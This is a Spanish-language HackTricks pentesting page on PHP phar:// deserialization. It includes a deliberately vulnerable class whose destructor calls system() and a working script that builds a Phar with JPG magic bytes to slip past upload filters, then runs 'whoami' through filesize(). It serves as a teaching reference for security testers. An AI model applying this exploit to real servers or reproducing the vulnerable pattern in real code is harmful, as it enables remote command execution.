hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

5.9 KiB

Deserialización de phar://

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si estás interesado en una carrera de hacking y hackear lo imposible, ¡estamos contratando! (se requiere fluidez en polaco escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, por lo que, al analizarlos, estos metadatos se deserializan y puedes intentar aprovechar una vulnerabilidad de deserialización dentro del código PHP.

Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP, como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().

Entonces, imagina una situación en la que puedes hacer que un sitio web PHP obtenga el tamaño de un archivo arbitrario utilizando el protocolo phar://, y dentro del código encuentras una clase similar a la siguiente:

{% code title="vunl.php" %}

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

Puedes crear un archivo phar que, cuando se cargue, abusará de esta clase para ejecutar comandos arbitrarios con algo como:

{% code title="create_phar.php" %}

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

Observa cómo se agregan los bytes mágicos de JPG (\xff\xd8\xff) al principio del archivo phar para evitar posibles restricciones de carga de archivos.
Compila el archivo test.phar con:

php --define phar.readonly=0 create_phar.php

Y ejecuta el comando whoami abusando del código vulnerable con:

php vuln.php

Referencias

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

Si estás interesado en una carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere fluidez en polaco escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥